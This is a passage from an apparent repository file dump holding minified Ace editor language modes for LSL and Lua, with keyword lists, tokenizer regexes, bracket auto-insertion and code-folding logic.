de|llExecCharacterCmd|llFabs|llFleeFrom|llFloor|llForceMouselook|llFrand|llGenerateKey|llGetAccel|llGetAgentInfo|llGetAgentLanguage|llGetAgentList|llGetAgentSize|llGetAlpha|llGetAndResetTime|llGetAnimation|llGetAnimationList|llGetAnimationOverride|llGetAttached|llGetAttachedList|llGetBoundingBox|llGetCameraPos|llGetCameraRot|llGetCenterOfMass|llGetClosestNavPoint|llGetColor|llGetCreator|llGetDate|llGetDisplayName|llGetEnergy|llGetEnv|llGetExperienceDetails|llGetExperienceErrorMessage|llGetForce|llGetFreeMemory|llGetFreeURLs|llGetGMTclock|llGetGeometricCenter|llGetHTTPHeader|llGetInventoryCreator|llGetInventoryKey|llGetInventoryName|llGetInventoryNumber|llGetInventoryPermMask|llGetInventoryType|llGetKey|llGetLandOwnerAt|llGetLinkKey|llGetLinkMedia|llGetLinkName|llGetLinkNumber|llGetLinkNumberOfSides|llGetLinkPrimitiveParams|llGetListEntryType|llGetListLength|llGetLocalPos|llGetLocalRot|llGetMass|llGetMassMKS|llGetMaxScaleFactor|llGetMemoryLimit|llGetMinScaleFactor|llGetNextEmail|llGetNotecardLine|llGetNumberOfNotecardLines|llGetNumberOfPrims|llGetNumberOfSides|llGetObjectDesc|llGetObjectDetails|llGetObjectMass|llGetObjectName|llGetObjectPermMask|llGetObjectPrimCount|llGetOmega|llGetOwner|llGetOwnerKey|llGetParcelDetails|llGetParcelFlags|llGetParcelMaxPrims|llGetParcelMusicURL|llGetParcelPrimCount|llGetParcelPrimOwners|llGetPermissions|llGetPermissionsKey|llGetPhysicsMaterial|llGetPos|llGetPrimMediaParams|llGetPrimitiveParams|llGetRegionAgentCount|llGetRegionCorner|llGetRegionFPS|llGetRegionFlags|llGetRegionName|llGetRegionTimeDilation|llGetRootPosition|llGetRootRotation|llGetRot|llGetSPMaxMemory|llGetScale|llGetScriptName|llGetScriptState|llGetSimStats|llGetSimulatorHostname|llGetStartParameter|llGetStaticPath|llGetStatus|llGetSubString|llGetSunDirection|llGetTexture|llGetTextureOffset|llGetTextureRot|llGetTextureScale|llGetTime|llGetTimeOfDay|llGetTimestamp|llGetTorque|llGetUnixTime|llGetUsedMemory|llGetUsername|llGetVel|llGetWallclock|llGiveInventory|llGiveInventoryList|llGiveMoney|llGround|llGroundContour|llGroundNormal|llGroundRepel|llGroundSlope|llHTTPRequest|llHTTPResponse|llInsertString|llInstantMessage|llIntegerToBase64|llJson2List|llJsonGetValue|llJsonSetValue|llJsonValueType|llKey2Name|llKeyCountKeyValue|llKeysKeyValue|llLinkParticleSystem|llLinkSitTarget|llList2CSV|llList2Float|llList2Integer|llList2Json|llList2Key|llList2List|llList2ListStrided|llList2Rot|llList2String|llList2Vector|llListFindList|llListInsertList|llListRandomize|llListReplaceList|llListSort|llListStatistics|llListen|llListenControl|llListenRemove|llLoadURL|llLog|llLog10|llLookAt|llLoopSound|llLoopSoundMaster|llLoopSoundSlave|llMD5String|llManageEstateAccess|llMapDestination|llMessageLinked|llMinEventDelay|llModPow|llModifyLand|llMoveToTarget|llNavigateTo|llOffsetTexture|llOpenRemoteDataChannel|llOverMyLand|llOwnerSay|llParcelMediaCommandList|llParcelMediaQuery|llParseString2List|llParseStringKeepNulls|llParticleSystem|llPassCollisions|llPassTouches|llPatrolPoints|llPlaySound|llPlaySoundSlave|llPow|llPreloadSound|llPursue|llPushObject|llReadKeyValue|llRegionSay|llRegionSayTo|llReleaseControls|llReleaseURL|llRemoteDataReply|llRemoteLoadScriptPin|llRemoveFromLandBanList|llRemoveFromLandPassList|llRemoveInventory|llRemoveVehicleFlags|llRequestAgentData|llRequestDisplayName|llRequestExperiencePermissions|llRequestInventoryData|llRequestPermissions|llRequestSecureURL|llRequestSimulatorData|llRequestURL|llRequestUsername|llResetAnimationOverride|llResetLandBanList|llResetLandPassList|llResetOtherScript|llResetScript|llResetTime|llReturnObjectsByID|llReturnObjectsByOwner|llRezAtRoot|llRezObject|llRot2Angle|llRot2Axis|llRot2Euler|llRot2Fwd|llRot2Left|llRot2Up|llRotBetween|llRotLookAt|llRotTarget|llRotTargetRemove|llRotateTexture|llRound|llSHA1String|llSameGroup|llSay|llScaleByFactor|llScaleTexture|llScriptDanger|llScriptProfiler|llSendRemoteData|llSensor|llSensorRemove|llSensorRepeat|llSetAlpha|llSetAngularVelocity|llSetAnimationOverride|llSetBuoyancy|llSetCameraAtOffset|llSetCameraEyeOffset|llSetCameraParams|llSetClickAction|llSetColor|llSetContentType|llSetDamage|llSetForce|llSetForceAndTorque|llSetHoverHeight|llSetKeyframedMotion|llSetLinkAlpha|llSetLinkCamera|llSetLinkColor|llSetLinkMedia|llSetLinkPrimitiveParams|llSetLinkPrimitiveParamsFast|llSetLinkTexture|llSetLinkTextureAnim|llSetLocalRot|llSetMemoryLimit|llSetObjectDesc|llSetObjectName|llSetParcelMusicURL|llSetPayPrice|llSetPhysicsMaterial|llSetPos|llSetPrimMediaParams|llSetPrimitiveParams|llSetRegionPos|llSetRemoteScriptAccessPin|llSetRot|llSetScale|llSetScriptState|llSetSitText|llSetSoundQueueing|llSetSoundRadius|llSetStatus|llSetText|llSetTexture|llSetTextureAnim|llSetTimerEvent|llSetTorque|llSetTouchText|llSetVehicleFlags|llSetVehicleFloatParam|llSetVehicleRotationParam|llSetVehicleType|llSetVehicleVectorParam|llSetVelocity|llShout|llSin|llSitTarget|llSleep|llSqrt|llStartAnimation|llStopAnimation|llStopHover|llStopLookAt|llStopMoveToTarget|llStopSound|llStringLength|llStringToBase64|llStringTrim|llSubStringIndex|llTakeControls|llTan|llTarget|llTargetOmega|llTargetRemove|llTeleportAgent|llTeleportAgentGlobalCoords|llTeleportAgentHome|llTextBox|llToLower|llToUpper|llTransferLindenDollars|llTriggerSound|llTriggerSoundLimited|llUnSit|llUnescapeURL|llUpdateCharacter|llUpdateKeyValue|llVecDist|llVecMag|llVecNorm|llVolumeDetect|llWanderWithin|llWater|llWhisper|llWind|llXorBase64\",\"support.function.event.lsl\":\"at_rot_target|at_target|attach|changed|collision|collision_end|collision_start|control|dataserver|email|experience_permissions|experience_permissions_denied|http_request|http_response|land_collision|land_collision_end|land_collision_start|link_message|listen|money|moving_end|moving_start|no_sensor|not_at_rot_target|not_at_target|object_rez|on_rez|path_update|remote_data|run_time_permissions|sensor|state_entry|state_exit|timer|touch|touch_end|touch_start|transaction_result\"},\"identifier\");this.$rules={start:[{token:\"comment.line.double-slash.lsl\",regex:\"\\\\/\\\\/.*$\"},{token:\"comment.block.begin.lsl\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string.quoted.double.lsl\",start:'\"',end:'\"',next:[{token:\"constant.character.escape.lsl\",regex:/\\\\[tn\"\\\\]/}]},{token:\"constant.numeric.lsl\",regex:\"(0[xX][0-9a-fA-F]+|[+-]?[0-9]+(?:(?:\\\\.[0-9]*)?(?:[eE][+-]?[0-9]+)?)?)\\\\b\"},{token:\"entity.name.state.lsl\",regex:\"\\\\b((state)\\\\s+[A-Za-z_]\\\\w*|default)\\\\b\"},{token:e,regex:\"\\\\b[a-zA-Z_][a-zA-Z0-9_]*\\\\b\"},{token:\"support.function.user-defined.lsl\",regex:/\\b([a-zA-Z_]\\w*)(?=\\(.*?\\))/},{token:\"keyword.operator.lsl\",regex:\"\\\\+\\\\+|\\\\-\\\\-|<<|>>|&&?|\\\\|\\\\|?|\\\\^|~|[!%<>=*+\\\\-\\\\/]=?\"},{token:\"invalid.illegal.keyword.operator.lsl\",regex:\":=?\"},{token:\"punctuation.operator.lsl\",regex:\"\\\\,|\\\\;\"},{token:\"paren.lparen.lsl\",regex:\"[\\\\[\\\\(\\\\{]\"},{token:\"paren.rparen.lsl\",regex:\"[\\\\]\\\\)\\\\}]\"},{token:\"text.lsl\",regex:\"\\\\s+\"}],comment:[{token:\"comment.block.end.lsl\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment.block.lsl\"}]},this.normalizeRules()}var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules;r.inherits(s,i),t.LSLHighlightRules=s}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/lsl\",[\"require\",\"exports\",\"module\",\"ace/mode/lsl_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/text\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\",\"ace/lib/oop\"],function(e,t,n){\"use strict\";var r=e(\"./lsl_highlight_rules\").LSLHighlightRules,i=e(\"./matching_brace_outdent\").MatchingBraceOutdent,s=e(\"../range\").Range,o=e(\"./text\").Mode,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=e(\"../lib/oop\"),l=function(){this.HighlightRules=r,this.$outdent=new i,this.$behaviour=new u,this.foldingRules=new a};f.inherits(l,o),function(){this.lineCommentStart=[\"//\"],this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type===\"comment.block.lsl\")return r;if(e===\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/lsl\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-lua.js",
    "content": "define(\"ace/mode/lua_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"break|do|else|elseif|end|for|function|if|in|local|repeat|return|then|until|while|or|and|not\",t=\"true|false|nil|_G|_VERSION\",n=\"string|xpcall|package|tostring|print|os|unpack|require|getfenv|setmetatable|next|assert|tonumber|io|rawequal|collectgarbage|getmetatable|module|rawset|math|debug|pcall|table|newproxy|type|coroutine|_G|select|gcinfo|pairs|rawget|loadstring|ipairs|_VERSION|dofile|setfenv|load|error|loadfile|sub|upper|len|gfind|rep|find|match|char|dump|gmatch|reverse|byte|format|gsub|lower|preload|loadlib|loaded|loaders|cpath|config|path|seeall|exit|setlocale|date|getenv|difftime|remove|time|clock|tmpname|rename|execute|lines|write|close|flush|open|output|type|read|stderr|stdin|input|stdout|popen|tmpfile|log|max|acos|huge|ldexp|pi|cos|tanh|pow|deg|tan|cosh|sinh|random|randomseed|frexp|ceil|floor|rad|abs|sqrt|modf|asin|min|mod|fmod|log10|atan2|exp|sin|atan|getupvalue|debug|sethook|getmetatable|gethook|setmetatable|setlocal|traceback|setfenv|getinfo|setupvalue|getlocal|getregistry|getfenv|setn|insert|getn|foreachi|maxn|foreach|concat|sort|remove|resume|yield|status|wrap|create|running|__add|__sub|__mod|__unm|__concat|__lt|__index|__call|__gc|__metatable|__mul|__div|__pow|__len|__eq|__le|__newindex|__tostring|__mode|__tonumber\",r=\"string|package|os|io|math|debug|table|coroutine\",i=\"\",s=\"setn|foreach|foreachi|gcinfo|log10|maxn\",o=this.createKeywordMapper({keyword:e,\"support.function\":n,\"invalid.deprecated\":s,\"constant.library\":r,\"constant.language\":t,\"invalid.illegal\":i,\"variable.language\":\"self\"},\"identifier\"),u=\"(?:(?:[1-9]\\\\d*)|(?:0))\",a=\"(?:0[xX][\\\\dA-Fa-f]+)\",f=\"(?:\"+u+\"|\"+a+\")\",l=\"(?:\\\\.\\\\d+)\",c=\"(?:\\\\d+)\",h=\"(?:(?:\"+c+\"?\"+l+\")|(?:\"+c+\"\\\\.))\",p=\"(?:\"+h+\")\";this.$rules={start:[{stateName:\"bracketedComment\",onMatch:function(e,t,n){return n.unshift(this.next,e.length-2,t),\"comment\"},regex:/\\-\\-\\[=*\\[/,next:[{onMatch:function(e,t,n){return e.length==n[1]?(n.shift(),n.shift(),this.next=n.shift()):this.next=\"\",\"comment\"},regex:/\\]=*\\]/,next:\"start\"},{defaultToken:\"comment\"}]},{token:\"comment\",regex:\"\\\\-\\\\-.*$\"},{stateName:\"bracketedString\",onMatch:function(e,t,n){return n.unshift(this.next,e.length,t),\"comment\"},regex:/\\[=*\\[/,next:[{onMatch:function(e,t,n){return e.length==n[1]?(n.shift(),n.shift(),this.next=n.shift()):this.next=\"\",\"comment\"},regex:/\\]=*\\]/,next:\"start\"},{defaultToken:\"comment\"}]},{token:\"string\",regex:'\"(?:[^\\\\\\\\]|\\\\\\\\.)*?\"'},{token:\"string\",regex:\"'(?:[^\\\\\\\\]|\\\\\\\\.)*?'\"},{token:\"constant.numeric\",regex:p},{token:\"constant.numeric\",regex:f+\"\\\\b\"},{token:o,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\*|\\\\/|%|\\\\#|\\\\^|~|<|>|<=|=>|==|~=|=|\\\\:|\\\\.\\\\.\\\\.|\\\\.\\\\.\"},{token:\"paren.lparen\",regex:\"[\\\\[\\\\(\\\\{]\"},{token:\"paren.rparen\",regex:\"[\\\\]\\\\)\\\\}]\"},{token:\"text\",regex:\"\\\\s+|\\\\w+\"}]},this.normalizeRules()};r.inherits(s,i),t.LuaHighlightRules=s}),define(\"ace/mode/folding/lua\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=e(\"../../token_iterator\").TokenIterator,u=t.FoldMode=function(){};r.inherits(u,i),function(){this.foldingStartMarker=/\\b(function|then|do|repeat)\\b|{\\s*$|(\\[=*\\[)/,this.foldingStopMarker=/\\bend\\b|^\\s*}|\\]=*\\]/,this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=this.foldingStartMarker.test(r),s=this.foldingStopMarker.test(r);if(i&&!s){var o=r.match(this.foldingStartMarker);if(o[1]==\"then\"&&/\\belseif\\b/.test(r))return;if(o[1]){if(e.getTokenAt(n,o.index+1).type===\"keyword\")return\"start\"}else{if(!o[2])return\"start\";var u=e.bgTokenizer.getState(n)||\"\";if(u[0]==\"bracketedComment\"||u[0]==\"bracketedString\")return\"start\"}}if(t!=\"markbeginend\"||!s||i&&s)return\"\";var o=r.match(this.foldingStopMarker);if(o[0]===\"end\"){if(e.getTokenAt(n,o.index+1).type===\"keyword\")return\"end\"}else{if(o[0][0]!==\"]\")return\"end\";var u=e.bgTokenizer.getState(n-1)||\"\";if(u[0]==\"bracketedComment\"||u[0]==\"bracketedString\")return\"end\"}},this.getFoldWidgetRange=function(e,t,n){var r=e.doc.getLine(n),i=this.foldingStartMarker.exec(r);if(i)return i[1]?this.luaBlock(e,n,i.index+1):i[2]?e.getCommentFoldRange(n,i.index+1):this.openingBracketBlock(e,\"{\",n,i.index);var i=this.foldingStopMarker.exec(r);if(i)return i[0]===\"end\"&&e.getTokenAt(n,i.index+1).type===\"keyword\"?this.luaBlock(e,n,i.index+1):i[0][0]===\"]\"?e.getCommentFoldRange(n,i.index+1):this.closingBracketBlock(e,\"}\",n,i.index+i[0].length)},this.luaBlock=function(e,t,n){var r=new o(e,t,n),i={\"function\":1,\"do\":1,then:1,elseif:-1,end:-1,repeat:1,until:-1},u=r.getCurrentToken();if(!u||u.type!=\"keyword\")return;var a=u.value,f=[a],l=i[a];if(!l)return;var c=l===-1?r.getCurrentTokenColumn():e.getLine(t).length,h=t;r.step=l===-1?r.stepBackward:r.stepForward;while(u=r.step()){if(u.type!==\"keyword\")continue;var p=l*i[u.value];if(p>0)f.unshift(u.value);else if(p<=0){f.shift();if(!f.length&&u.value!=\"elseif\")break;p===0&&f.unshift(u.value)}}var t=r.getCurrentTokenRow();return l===-1?new s(t,e.getLine(t).length,h,c):new s(h,c,t,r.getCurrentTokenColumn())}}.call(u.prototype)}),define(\"ace/mode/lua\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/lua_highlight_rules\",\"ace/mode/folding/lua\",\"ace/range\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./lua_highlight_rules\").LuaHighlightRules,o=e(\"./folding/lua\").FoldMode,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(f,i),function(){function n(t){var n=0;for(var r=0;r<t.length;r++){var i=t[r];i.type==\"keyword\"?i.value in e&&(n+=e[i.value]):i.type==\"paren.lparen\"?n+=i.value.length:i.type==\"paren.rparen\"&&(n-=i.value.length)}return n<0?-1:n>0?1:0}this.lineCommentStart=\"--\",this.blockComment={start:\"--[\",end:\"]--\"};var e={\"function\":1,then:1,\"do\":1,\"else\":1,elseif:1,repeat:1,end:-1,until:-1},t=[\"else\",\"elseif\",\"end\",\"until\"];this.getNextLineIndent=function(e,t,r){var i=this.$getIndent(t),s=0,o=this.getTokenizer().getLineTokens(t,e),u=o.tokens;return e==\"start\"&&(s=n(u)),s>0?i+r:s<0&&i.substr(i.length-r.length)==r&&!this.checkOutdent(e,t,\"\\n\")?i.substr(0,i.length-r.length):i},this.checkOutdent=function(e,n,r){if(r!=\"\\n\"&&r!=\"\\r\"&&r!=\"\\r\\n\")return!1;if(n.match(/^\\s*[\\)\\}\\]]$/))return!0;var i=this.getTokenizer().getLineTokens(n.trim(),e).tokens;return!i||!i.length?!1:i[0].type==\"keyword\"&&t.indexOf(i[0].value)!=-1},this.autoOutdent=function(e,t,r){var i=t.getLine(r-1),s=this.$getIndent(i).length,o=this.getTokenizer().getLineTokens(i,\"start\").tokens,a=t.getTabString().length,f=s+a*n(o),l=this.$getIndent(t.getLine(r)).length;if(l<f)return;t.outdentRows(new u(r,0,r+2,0))},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/lua_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/lua\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-luapage.js",
